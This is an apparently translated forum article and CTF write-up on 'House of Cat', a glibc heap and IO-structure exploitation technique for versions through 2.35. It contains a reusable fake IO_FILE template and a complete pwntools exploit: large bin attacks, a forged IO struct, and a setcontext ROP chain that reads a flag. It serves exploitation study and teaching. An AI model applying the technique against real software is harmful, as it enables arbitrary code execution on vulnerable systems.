House of Cat: New GLIBC IO Exploitation Techniques

House of Cat: New GLIBC IO Exploitation Techniques

This article is a highlight from the Kanxue Forum

Author ID on Kanxue Forum: CatF1y

House of Cat

A new method of exploiting IO in GLIBC discovered in May, applicable to any version (including glibc2.35), named House of Cat and presented in the 2022 Strong Network Cup.

Introduction

House of Emma is one of the commonly used attack methods under glibc2.34, where the only requirement is to write to any controllable address to control the program’s execution flow, making the attack extremely powerful. However, it requires attacking the _pointer_chk_guard located in TLS, and remote exploitation may require brute-forcing the TLS offset.
House of Cat utilizes the idea of modifying the vtable offset from House of Emma, avoiding the need to bypass the checks related to IO functions that require _pointer_chk_guard on TLS by modifying the offset of the vtable pointer. Instead, it calls the _IO_wfile_jumps’s _IO_wfile_seekoff function, then enters the _IO_switch_to_wget_mode function to execute the attack, thus simplifying the conditions and methods for exploitation. Moreover, House of Cat is also feasible under FSOP conditions, requiring only modification of the vtable pointer offset to call _IO_wfile_seekoff (usually combined with __malloc_assert, changing the vtable to _IO_wfile_jumps + 0x10).

Exploitation Conditions

1. Ability to write to any controllable address. 2. Ability to leak heap address and libc base address. 3. Ability to trigger IO streams (FSOP or trigger __malloc_assert) to execute IO-related functions.

Exploitation Principles

IO_FILE Structure and Exploitation

In higher versions of libc, when the attack conditions are limited (e.g., cannot cause arbitrary address writes) or there are no hook functions in the libc version (libc2.34 and later), forging a fake_IO for attack is a common and feasible approach. Common methods to trigger IO functions include FSOP and __malloc_assert. When entering the IO stream, the relevant IO functions will be called based on the vtable pointer. If an arbitrary address write to a controllable address is achieved (e.g., large bin attack, tcache stashing unlink attack, fastbin reverse into tcache), then forging the fake_IO structure combined with the appropriate IO call chain can achieve control over the program’s execution flow.

vtable Check

Since glibc2.24, checks have been added for virtual functions, where the legality of the virtual function address is first checked before calling the virtual function.
void _IO_vtable_check (void) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){  uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;  uintptr_t ptr = (uintptr_t) vtable;  uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;  if (__glibc_unlikely (offset >= section_length))    _IO_vtable_check ();  return vtable;}
The check process is: calculate the length of the _IO_vtable section (section_length), subtract the start address of the _IO_vtable section from the current vtable pointer address. If the offset of the vtable relative to the start address is greater than or equal to section_length, it will enter _IO_vtable_check for more detailed checks; otherwise, it will call normally. If the vtable is illegal, entering the _IO_vtable_check function will trigger abort.
Although the checks on vtable are quite strict, the checks on specific locations and specific offsets are relatively lenient. It is possible to modify the vtable pointer to any position within the vtable segment, which means any offset of a specific _IO_xxx_jumps, allowing it to call the IO function the attacker wants.

__malloc_assert and FSOP

In glibc, there is a function _malloc_assert that will call IO-related functions according to the vtable like _IO_xxx_jumps; this function will ultimately perform related IO operations based on the stderr IO structure.House of Cat: New GLIBC IO Exploitation Techniques
The code is as follows:
static void __malloc_assert (const char *assertion, const char *file, unsigned int line,         const char *function){  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",             __progname, __progname[0] ? ": " : "",             file, line,             function ? function : "", function ? ": " : "",             assertion);  fflush (stderr);  abort ();}
House of Kiwi provides an idea for calling this function, which can be triggered by modifying the size of the top chunk, satisfying one of the following conditions:
1. The size of the top chunk is less than MINSIZE (0X20) 2. The prev inuse bit is 0 3. The old_top page is not aligned
assert ((old_top == initial_top (av) && old_size == 0) ||        ((unsigned long) (old_size) >= MINSIZE &&         prev_inuse (old_top) &&         ((unsigned long) old_end & (pagesize - 1)) == 0));
Next, we introduce another way to trigger House of Cat, FSOP.
All _IO_FILE structures in the program are connected in a single linked list through _chain, with the head of the list being _IO_list_all.
FSOP hijacks the value of _IO_list_all (e.g., modified through large bin attack) to execute the _IO_flush_all_lockp function, which refreshes all file streams in the list based on _IO_list_all. In libc, the code is as follows, which will call the IO function _IO_OVERFLOW in the vtable. As mentioned earlier, the idea of variable offsets in the vtable applies here as well, and the virtual table offset here can also be modified. Then, combined with the forged IO structure, the call chain of House of Cat can be executed.
int _IO_flush_all_lockp (int do_lock){  ...  fp = (_IO_FILE *) _IO_list_all;  while (fp != NULL)  {       ...       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))               && _IO_OVERFLOW (fp, EOF) == EOF)           {               result = EOF;          }        ...  }}
The triggering conditions are threefold.

There are three conditions for FSOP (can return from the main function, the program can execute the exit function, libc executes abort); the third condition has been removed in higher versions; __malloc_assert is triggered in malloc, usually by modifying the size of the top chunk.

A Feasible IO Call Chain

In the _IO_wfile_jumps structure, relevant function calls are made based on the vtable.
const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={  JUMP_INIT_DUMMY,  JUMP_INIT(finish, _IO_new_file_finish),  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),  JUMP_INIT(xsputn, _IO_wfile_xsputn),  JUMP_INIT(xsgetn, _IO_file_xsgetn),  JUMP_INIT(seekoff, _IO_wfile_seekoff),  JUMP_INIT(seekpos, _IO_default_seekpos),  JUMP_INIT(setbuf, _IO_new_file_setbuf),  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),  JUMP_INIT(doallocate, _IO_wfile_doallocate),  JUMP_INIT(read, _IO_file_read),  JUMP_INIT(write, _IO_new_file_write),  JUMP_INIT(seek, _IO_file_seek),  JUMP_INIT(close, _IO_file_close),  JUMP_INIT(stat, _IO_file_stat),  JUMP_INIT(showmanyc, _IO_default_showmanyc),  JUMP_INIT(imbue, _IO_default_imbue)};
The code for the _IO_wfile_seekoff function is as follows:
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode){  off64_t result;  off64_t delta, new_offset;  long int count;   if (mode == 0)    return do_ftell_wide (fp);  int must_be_exact = ((fp->_wide_data->_IO_read_base            == fp->_wide_data->_IO_read_end)               && (fp->_wide_data->_IO_write_base               == fp->_wide_data->_IO_write_ptr));# needs to bypass was_writing check  bool was_writing = ((fp->_wide_data->_IO_write_ptr               > fp->_wide_data->_IO_write_base)              || _IO_in_put_mode (fp));   if (was_writing && _IO_switch_to_wget_mode (fp))    return WEOF;......}
Where the fp structure can be forged, allowing control over fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base to call the _IO_switch_to_wget_mode function, continuing to follow the code.
int _IO_switch_to_wget_mode (FILE *fp){  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)      return EOF;  ......}
And _IO_WOVERFLOW is a macro function defined in glibc.
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
No checks are performed on _IO_WOVERFLOW. For easier understanding, let’s take a look at the assembly code.
► 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>   0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
Focus on these few points, which do the following:
1. Assign the content at [rdi+0xa0] to rax, to avoid confusion with the rax below, we call it rax1.
2. Assign the content at [rax1+0x20] to rdx.
3. Assign the content at [rax1+0xe0] to rax, calling it rax2.
4. Call the content at [rax2+0x18].
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
Now, what is the state of rdi? Let’s check with gdb.

House of Cat: New GLIBC IO Exploitation TechniquesWe can see that this is a heap address, and actually at this point rdi is the address of the forged IO structure, which is controllable.

Based on being able to write to an arbitrary address to a heap address, the registers rdi (address of fake_IO), rax, and rdx are all controllable. If sandboxing is enabled, if we set the last call at [rax + 0x18] to setcontext and rdx to a controllable heap address, we can execute srop to read the flag; if sandboxing is not enabled, we just need to set the last call at [rax + 0x18] to the system function and write the head of fake_IO to the /bin/sh string to execute system(“/bin/sh”).

Fake_IO Structure Needs to Bypass Checks

_wide_data->_IO_read_ptr != _wide_data->_IO_read_end_wide_data->_IO_write_ptr > _wide_data->_IO_write_base# If _wide_data=fake_io_addr+0x30, it is also fp->_IO_save_base < f->_IO_backup_basefp->_lock is a writable address (heap address, writable address in libc)

Attack Process

1. Modify _IO_list_all to a controllable address (FSOP) or modify stderr to a controllable address (__malloc_assert).
2. In the controllable address from the previous step, forge the fake_IO structure (it is also possible to modify stderr, stdout, etc. structures if arbitrary address writing is possible).
3. Trigger the attack through FSOP or malloc.
To facilitate understanding, let’s illustrate:

House of Cat: New GLIBC IO Exploitation Techniques

Template

The template for House of Cat, based on the principle illustrated above. When forging the IO structure, simply modify the fake_io_addr, set _IO_save_end to the function you want to call, _IO_backup_base to the rdx when executing the function, and modify _flags to the rdi when executing the function.
fake_io_addr=heapbase+0xb00 # Address of the forged fake_IO structure next_chain = 0 fake_IO_FILE=p64(rdi)         # _flags=rdifake_IO_FILE+=p64(0)*7 fake_IO_FILE +=p64(1)+p64(0) fake_IO_FILE +=p64(fake_io_addr+0xb0)# _IO_backup_base=rdxfake_IO_FILE +=p64(call_addr)# _IO_save_end=call addr(call setcontext/system) fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00') fake_IO_FILE += p64(0)  # _chain fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable address fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00') fake_IO_FILE +=p64(fake_io_addr+0x30)# _wide_data, rax1_addr fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00') fake_IO_FILE += p64(0)  # _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00') fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10 fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

2022 Strong Network Cup House of Cat

Protection and Sandboxing

House of Cat: New GLIBC IO Exploitation TechniquesHouse of Cat: New GLIBC IO Exploitation TechniquesAll protections enabled, execve disabled, and read fd checked.

Analysis

House of Cat: New GLIBC IO Exploitation TechniquesHouse of Cat: New GLIBC IO Exploitation TechniquesIn each loop, the main function assigns values to tcache_bins, effectively preventing arbitrary address writes to tcache_bins.

House of Cat: New GLIBC IO Exploitation TechniquesThe sub_1A50 function performs format checks on the input cmd; only a return value of 0 allows entry into do_cmd. For clarity, we will present this with code:

__int64 __fastcall sub_1A50(char *a1, __int64 a2){  char *s; // [rsp+18h] [rbp-28h]  char *v4; // [rsp+20h] [rbp-20h]  char *v5; // [rsp+20h] [rbp-20h]  char *v6; // [rsp+20h] [rbp-20h]  const char *s2; // [rsp+28h] [rbp-18h]  char *v8; // [rsp+30h] [rbp-10h]  const char *s1; // [rsp+38h] [rbp-8h]   v4 = strstr(a1, "QWB");  if ( !v4 )    return 0LL; // If it contains QWB, otherwise return 0, which means cannot execute do_cmd  *v4 = 0;  v4[1] = 0;  v4[2] = 32;  v5 = v4 + 3;  s2 = strtok(a1, " "); // Split by space  if ( !strcmp("LOGIN", s2) )  {    *(_BYTE *)(a2 + 8) = 1;  }  else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) )  {    if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) )    {      if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) )      {        if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) )        {          if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) )          {            if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) )            {              if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) )              {                if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) )                {                  if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) )                    return 0LL;                  *(_BYTE *)(a2 + 8) = 10;                }                else                {                  *(_BYTE *)(a2 + 8) = 9;                }              }              else              {                *(_BYTE *)(a2 + 8) = 8;              }            }            else            {              *(_BYTE *)(a2 + 8) = 7;            }          }          else          {            *(_BYTE *)(a2 + 8) = 6;          }        }        else        {          *(_BYTE *)(a2 + 8) = 5;        }      }      else      {        *(_BYTE *)(a2 + 8) = 4;      }    }    else    {      *(_BYTE *)(a2 + 8) = 3;    }  }  else  {    *(_BYTE *)(a2 + 8) = 2;  }  v8 = strtok(0LL, " ");  if ( v8 != strchr(v8, '|'))// Find the first match of '|'    return 0LL;  *(_QWORD *)a2 = v8;  s1 = strtok(0LL, " ");  if ( strcmp(s1, "r00t") ) // Check for the existence of 'r00t'    return 0LL;  s = v5 + 5;  v6 = strstr(v5, "QWXF");// Check for the presence of 'QWXF'  if ( !v6 )    return 0LL;  *v6 = 0;  v6[1] = 0;  v6[2] = 0;  v6[3] = 32;  *(_QWORD *)(a2 + 16) = s;  return 1LL;}
Now let’s take a look at the do_cmd function:
__int64 __fastcall sub_1DF3(__int64 a1){  __int64 result; // rax  unsigned int v2; // eax  char *v3; // [rsp+18h] [rbp-8h]   if ( *(_BYTE *)(a1 + 8) == 1 && !strcmp(*(const char **)(a1 + 16), "admin") )    dword_4040[0] = 1;// login  result = *(unsigned __int8 *)(a1 + 8);  if ( (_BYTE)result == 3 )  {    result = (__int64)strtok(*(char **)(a1 + 16), "$" );    v3 = (char *)result;    if ( result )    {      result = dword_4014;//      if ( *v3 == dword_4014 )      {        result = dword_4040[0];        if ( dword_4040[0] )        {          menu();          v2 = getnumber();          if ( v2 == 4 )          {            return edit();          }          else          {            if ( v2 <= 4 )            {              switch ( v2 )              {                case 3u:                  return show();                case 1u:                  return add();                case 2u:                  return delete();              }            }            return output("error!\n");          }        }      }    }  }  return result;};      if ( *v3 == dword_4014 )// dword_4014 checks if it is 0xffffffff      {        result = dword_4040[0];// dword_4040[0] checks if login        if ( dword_4040[0] )        {          menu();          v2 = getnumber();          if ( v2 == 4 )          {            return edit();          }          else          {            if ( v2 <= 4 )            {              switch ( v2 )              {                case 3u:                  return show();                case 1u:                  return add();                case 2u:                  return delete();              }            }            return output("error!\n");          }        }      }    }  }  return result;}
Here we need to understand the roles of strtok and several other functions; dynamic debugging with gdb combined with static reverse engineering will suffice, and we will not elaborate further. First, we need to log in, then enter the heap block management function, formatted as follows:
LOGIN | r00t QWB QWXFadminCAT | r00t QWB QWXF$\xff
Focus on the heap block management function.House of Cat: New GLIBC IO Exploitation TechniquesThe add function uses calloc to request heap blocks, with sizes between 0x418-0x470.

House of Cat: New GLIBC IO Exploitation TechniquesThe delete function has UAF.House of Cat: New GLIBC IO Exploitation TechniquesThe edit function can only write 48 bytes (to prevent UAF overflow) and only has two chances.

Exploitation

Unable to exit the main function, and there are no exit-like methods that can cause FSOP, but stderr is not on bss but in libc, which allows for a large bin attack on stderr after obtaining the libc address. Then, based on the obtained heap address, modify the size of the top chunk, using a large bin attack modification. Thus, the two edits effectively provide two opportunities for large bin attacks, one to large bin attack stderr and another to large bin attack the top chunk’s size. Additionally, due to checks on fd, we need to close(0) to set the file descriptor of the flag file to 0 or use mmap to map the flag into memory.

1. Leak libc address and heap address

2. Large bin attack stderr

3. Large bin attack top chunk’s size

4. Forge fake_IO

5. Trigger __malloc_assert, enter _IO_wfile_seekoff, and transfer to _IO_switch_to_wget_mode

6. Execute ROP chain with setcontext

Exploit

from pwn import * p=process('./houseofcat') libc=ELF('./libc.so.6') context.log_level='debug' r = lambda x: p.recv(x) ra = lambda: p.recvall() rl = lambda: p.recvline(keepends=True) ru = lambda x: p.recvuntil(x, drop=True) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) ia = lambda: p.interactive() c = lambda: p.close() li = lambda x: log.info(x) db = lambda: gdb.attach(p) sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin') def add(idx,size,cont):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n',str(1))    sla('plz input your cat idx:\n',str(idx))    sla('plz input your cat size:\n',str(size))    sa('plz input your content:\n',cont) def delete(idx):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(2))    sla('plz input your cat idx:\n',str(idx)) def show(idx):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(3))    sla('plz input your cat idx:\n',str(idx)) def edit(idx,cont):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(4))    sla('plz input your cat idx:\n',str(idx))    sa('plz input your content:\n', cont) #gdb.attach(p,'b* $rebase(0x1DDD)') add(0,0x420,'aaa') add(1,0x430,'bbb') add(2,0x418,'ccc') delete(0) add(3,0x440,'ddd') show(0) ru('Context:\n') libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x21a0d0 info('libc->'+hex(libcbase)) rdi=libcbase+0x000000000002a3e5 rsi=libcbase+0x000000000002be51 rdx=r12=libcbase+0x000000000011f497 ret=libcbase+0x0000000000029cd6 rax=libcbase+0x0000000000045eb0 stderr=libcbase+libc.sym['stderr'] setcontext=libcbase+libc.sym['setcontext'] close=libcbase+libc.sym['close'] read=libcbase+libc.sym['read'] write=libcbase+libc.sym['write'] syscallret=libcbase+libc.search(asm('syscall\nret')).next() p.recv(10) heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x290 info('heap->'+hex(heapaddr)) #fake IO ioaddr=heapaddr+0xb00 next_chain = 0 fake_IO_FILE = p64(0)*4 fake_IO_FILE +=p64(0) fake_IO_FILE +=p64(0) fake_IO_FILE +=p64(1)+p64(0) fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdx fake_IO_FILE +=p64(setcontext+61)#call addr fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00') fake_IO_FILE += p64(0 )  # _chain fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') fake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable address fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00') fake_IO_FILE +=p64(heapaddr+0xb30) #rax1 fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00') fake_IO_FILE += p64(0)  # _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00') fake_IO_FILE += p64(libcbase+0x2160d0+0x10)  # vtable=IO_wfile_jumps+0x10 fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(heapaddr+0xb30+0x10)  # rax2 flagaddr=heapaddr+0x17d0 payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret) delete(2) add(6,0x418,payload1) delete(6) #large bin attack stderr pointer edit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20)) add(5,0x440,'aaaaa') add(7,0x430,'flag') add(8,0x430,'eee') #rop payload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write) add(9,0x430,payload) delete(5) add(10,0x450,p64(0)+p64(1)) delete(8) # large bin attack topchunk's size edit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3)) #trigger __malloc_assert sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:',str(11)) gdb.attach(p,'b* (_IO_wfile_seekoff)') sla('plz input your cat size:',str(0x450)) p.interactive()
House of Cat: New GLIBC IO Exploitation Techniques

Conclusion

In the 2022 Strong Network Cup competition, due to a big shot providing another attack method the day before, and the ability to combine heap feng shui with House of Emma for the attack, the difficulty of this problem was significantly reduced.
By the way, House of Apple2 and House of Emma are also excellent attack methods, but the intention of the Strong Network Cup’s House of Cat challenge was not to exploit using ready-made attack methods, but to assess the ability to find IO chains. The solution to the problem is not limited to one method. Interested readers can research other attack methods themselves.

House of Cat: New GLIBC IO Exploitation Techniques

Kanxue ID: CatF1y

https://bbs.pediy.com/user-home-959842.htm

*This article is original by CatF1y from Kanxue Forum, please indicate the source if reprinted from Kanxue Community

House of Cat: New GLIBC IO Exploitation Techniques

# Previous Recommendations

1. Implementing a compression shell with some “ingredients” added

2. Formbook unpacking notes

3. CVE-2021-1732 privilege escalation vulnerability study notes

4. Some techniques for analyzing .NET samples with encrypted strings

5. [Security Operations] Simulating the construction of a small enterprise intranet

6. Analysis of Tenda cameras

House of Cat: New GLIBC IO Exploitation Techniques
House of Cat: New GLIBC IO Exploitation Techniques

Share this

House of Cat: New GLIBC IO Exploitation Techniques

Like this

House of Cat: New GLIBC IO Exploitation Techniques

Watching this

Leave a Comment